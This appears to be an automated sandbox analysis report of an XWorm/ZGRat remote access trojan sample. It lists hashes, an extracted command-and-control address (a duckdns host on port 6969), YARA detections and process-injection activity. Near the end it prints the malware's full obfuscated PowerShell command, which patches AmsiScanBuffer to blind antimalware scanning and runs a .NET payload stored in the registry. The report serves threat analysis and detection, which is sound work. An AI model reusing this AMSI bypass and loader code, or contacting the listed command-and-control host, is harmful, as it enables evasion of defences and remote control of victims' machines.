xworm | 74531f459fdb6837669583dc731b7a6afad5378782ab8bca5d726edac753f251

Analysis

max time kernel
85s
max time network
67s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
07-04-2024 07:31

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General

Target

f267a71692c3683e3d6d0461e003f54f.exe
Size

2.3MB
MD5

f267a71692c3683e3d6d0461e003f54f
SHA1

189450a513d1f2412470eb965468f1324633d252
SHA256

74531f459fdb6837669583dc731b7a6afad5378782ab8bca5d726edac753f251
SHA512

b376166646548104ee092beba9af8af5a04695f828e1a1b21ccdfd8a1cb88347a40f31108066d0fe6176a5ce18bf3ef3b8ce4e82a6c6a6ee886efe2bfa7a7bd7
SSDEEP

49152:qjOIzFMNQnXmsIi7MS4bdotKHDG/GGcYsKYX78Y5Ye3:qjvzFMNQnWspj4bdot45GdsKYXl5Yo

Score

10^/10

xworm zgrat rat trojan

Malware Config

Extracted

Family

xworm

Version

3.1

gamemodz.duckdns.org:6969

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3120-4981-0x0000000000400000-0x0000000000418000-memory.dmp	family_xworm

Detect ZGRat V1 34 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3892-2-0x0000000006850000-0x0000000006A9C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-5-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-6-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-8-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-10-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-12-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-14-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-16-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-18-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-20-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-22-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-24-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-26-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-28-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-30-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-32-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-34-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-36-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-38-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-40-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-42-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-44-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-46-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-48-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-50-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-52-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-54-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-56-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-58-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-60-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-62-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-64-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-66-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1
behavioral2/memory/3892-68-0x0000000006850000-0x0000000006A96000-memory.dmp	family_zgrat_v1

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4720 created 588 4720 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Executes dropped EXE 2 IoCs

Processes:

$7769ca3c$772491e3

pid process

5036 $7769ca3c
3120 $772491e3

description	pid	process	target process
PID 4720 created 588	4720	powershell.EXE	winlogon.exe

pid	process
5036	$7769ca3c
3120	$772491e3

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

Processes:

f267a71692c3683e3d6d0461e003f54f.exepowershell.EXE

description	pid	process	target process
PID 3892 set thread context of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 4720 set thread context of 4952	4720	powershell.EXE	dllhost.exe
PID 3892 set thread context of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.EXEdllhost.exe

pid process

4720 powershell.EXE
4720 powershell.EXE
4720 powershell.EXE
4952 dllhost.exe
4952 dllhost.exe
4952 dllhost.exe
4952 dllhost.exe

pid	process
4720	powershell.EXE
4720	powershell.EXE
4720	powershell.EXE
4952	dllhost.exe
4952	dllhost.exe
4952	dllhost.exe
4952	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

f267a71692c3683e3d6d0461e003f54f.exepowershell.EXEdllhost.exe$772491e3

description	pid	process
Token: SeDebugPrivilege	3892	f267a71692c3683e3d6d0461e003f54f.exe
Token: SeDebugPrivilege	4720	powershell.EXE
Token: SeDebugPrivilege	4720	powershell.EXE
Token: SeDebugPrivilege	4952	dllhost.exe
Token: SeDebugPrivilege	3892	f267a71692c3683e3d6d0461e003f54f.exe
Token: SeDebugPrivilege	3120	$772491e3

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

f267a71692c3683e3d6d0461e003f54f.exepowershell.EXEdllhost.exelsass.exe

description	pid	process	target process
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 3892 wrote to memory of 5036	3892	f267a71692c3683e3d6d0461e003f54f.exe	$7769ca3c
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4720 wrote to memory of 4952	4720	powershell.EXE	dllhost.exe
PID 4952 wrote to memory of 588	4952	dllhost.exe	winlogon.exe
PID 4952 wrote to memory of 680	4952	dllhost.exe	lsass.exe
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 4952 wrote to memory of 960	4952	dllhost.exe	svchost.exe
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 3892 wrote to memory of 3120	3892	f267a71692c3683e3d6d0461e003f54f.exe	$772491e3
PID 4952 wrote to memory of 336	4952	dllhost.exe	dwm.exe
PID 4952 wrote to memory of 404	4952	dllhost.exe	svchost.exe
PID 680 wrote to memory of 2544	680	lsass.exe	sysmon.exe
PID 4952 wrote to memory of 736	4952	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{88427d95-63fa-4fc6-8c14-5b52690474fa}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4952

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:736

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2544

C:\Users\Admin\AppData\Local\Temp\f267a71692c3683e3d6d0461e003f54f.exe
"C:\Users\Admin\AppData\Local\Temp\f267a71692c3683e3d6d0461e003f54f.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892
- C:\Users\Admin\AppData\Local\Temp\$7769ca3c
  "C:\Users\Admin\AppData\Local\Temp\$7769ca3c"
  2⤵
  - Executes dropped EXE
  PID:5036
- C:\Users\Admin\AppData\Local\Temp\$772491e3
  "C:\Users\Admin\AppData\Local\Temp\$772491e3"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:uMSJiUFHvWMU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wFTWRPHIbdTenY,[Parameter(Position=1)][Type]$gCqMzkKFfo)$PPyHSvKlNSD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+[Char](102)+''+[Char](108)+'e'+'c'+''+'t'+''+[Char](101)+'dDel'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'yD'+'e'+''+[Char](108)+'e'+'g'+'a'+[Char](116)+'e'+'T'+''+[Char](121)+'p'+[Char](101)+'',''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+'b'+''+'l'+'ic'+[Char](44)+''+[Char](83)+''+[Char](101)+''+'a'+'l'+'e'+'d,'+'A'+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$PPyHSvKlNSD.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+'e'+[Char](99)+'i'+'a'+'lN'+'a'+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+'b'+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$wFTWRPHIbdTenY).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+'a'+'n'+[Char](97)+''+'g'+'e'+'d'+'');$PPyHSvKlNSD.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+'B'+'ySi'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+'i'+''+'r'+''+[Char](116)+''+[Char](117)+'al',$gCqMzkKFfo,$wFTWRPHIbdTenY).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $PPyHSvKlNSD.CreateType();}$atNXCJvhUpBbW=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+'m'+''+'.'+''+[Char](100)+''+'l'+'l')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+'o'+''+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+'3'+''+'2'+'.'+'U'+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](118)+''+'e'+'Me'+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$SuZmZcowxWuovm=$atNXCJvhUpBbW.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AlWPwmAxDmhlqyxPgfM=uMSJiUFHvWMU @([String])([IntPtr]);$lHaaLxJufJRFjdkUTVOzIp=uMSJiUFHvWMU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XHFiHrNKEXh=$atNXCJvhUpBbW.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+'d'+'u'+''+'l'+''+[Char](101)+''+'H'+''+[Char](97)+''+'n'+''+'d'+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$ouYoQwfXOmvvJy=$SuZmZcowxWuovm.Invoke($Null,@([Object]$XHFiHrNKEXh,[Object]('Lo'+[Char](97)+''+'d'+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+'A'+'')));$QjYfTyEcwZUAgfapJ=$SuZmZcowxWuovm.Invoke($Null,@([Object]$XHFiHrNKEXh,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+'a'+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$bijsmus=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ouYoQwfXOmvvJy,$AlWPwmAxDmhlqyxPgfM).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$MXTMXQrTsNfIZRENT=$SuZmZcowxWuovm.Invoke($Null,@([Object]$bijsmus,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+'e'+''+[Char](114)+'')));$IyjeVwdIMp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QjYfTyEcwZUAgfapJ,$lHaaLxJufJRFjdkUTVOzIp).Invoke($MXTMXQrTsNfIZRENT,[uint32]8,4,[ref]$IyjeVwdIMp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$MXTMXQrTsNfIZRENT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QjYfTyEcwZUAgfapJ,$lHaaLxJufJRFjdkUTVOzIp).Invoke($MXTMXQrTsNfIZRENT,[uint32]8,0x20,[ref]$IyjeVwdIMp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+'W'+''+'A'+''+'R'+'E').GetValue(''+[Char](36)+''+[Char](55)+'7s'+'t'+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4720

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\$7769ca3c

Filesize
2.3MB

MD5
f267a71692c3683e3d6d0461e003f54f

SHA1
189450a513d1f2412470eb965468f1324633d252

SHA256
74531f459fdb6837669583dc731b7a6afad5378782ab8bca5d726edac753f251

SHA512
b376166646548104ee092beba9af8af5a04695f828e1a1b21ccdfd8a1cb88347a40f31108066d0fe6176a5ce18bf3ef3b8ce4e82a6c6a6ee886efe2bfa7a7bd7

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_xa33jqsm.nhh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/588-4942-0x00007FFCB392F000-0x00007FFCB3930000-memory.dmp

Filesize
4KB

Download
memory/588-4941-0x00007FFCB392D000-0x00007FFCB392E000-memory.dmp

Filesize
4KB

Download
memory/588-4934-0x000001EE33050000-0x000001EE33075000-memory.dmp

Filesize
148KB

Download
memory/680-4958-0x00007FFCB392F000-0x00007FFCB3930000-memory.dmp

Filesize
4KB

Download
memory/680-4955-0x00007FFCB392D000-0x00007FFCB392E000-memory.dmp

Filesize
4KB

Download
memory/960-4995-0x00007FFCB392C000-0x00007FFCB392D000-memory.dmp

Filesize
4KB

Download
memory/3120-4984-0x0000000005AE0000-0x0000000005B7C000-memory.dmp

Filesize
624KB

Download
memory/3120-4981-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/3120-4976-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/3892-58-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-2127-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/3892-20-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-22-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-24-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-26-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-28-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-30-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-32-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-34-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-36-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-38-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-40-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-42-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-44-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-46-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-48-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-50-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-52-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-54-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-56-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-0-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/3892-60-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-62-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-64-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-66-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-68-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-18-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-4886-0x0000000005710000-0x0000000005720000-memory.dmp

Filesize
64KB

Download
memory/3892-4887-0x0000000001020000-0x0000000001021000-memory.dmp

Filesize
4KB

Download
memory/3892-4888-0x00000000013E0000-0x0000000001468000-memory.dmp

Filesize
544KB

Download
memory/3892-4889-0x0000000006CE0000-0x0000000006D2C000-memory.dmp

Filesize
304KB

Download
memory/3892-16-0x0000000006850000-0x0000000006A96000-memory.dmp

Filesize
2.3MB

Download
memory/3892-1-0x00000000009E0000-0x0000000000C3E000-memory.dmp

Filesize
2.4MB

Download
memory/3892-2-0x0000000006850000-0x0000000006A9C000-memory.dmp

Filesize
2.3MB

Download
memory/3892-4977-0x0000000074400000-0x0000000074BB0000-memory.dmp

Filesize
7.7MB

Download
memory/3892-3-0x0000000007050000-0x00000000075F4000-memory.dmp

Filesize
5.6MB

Download
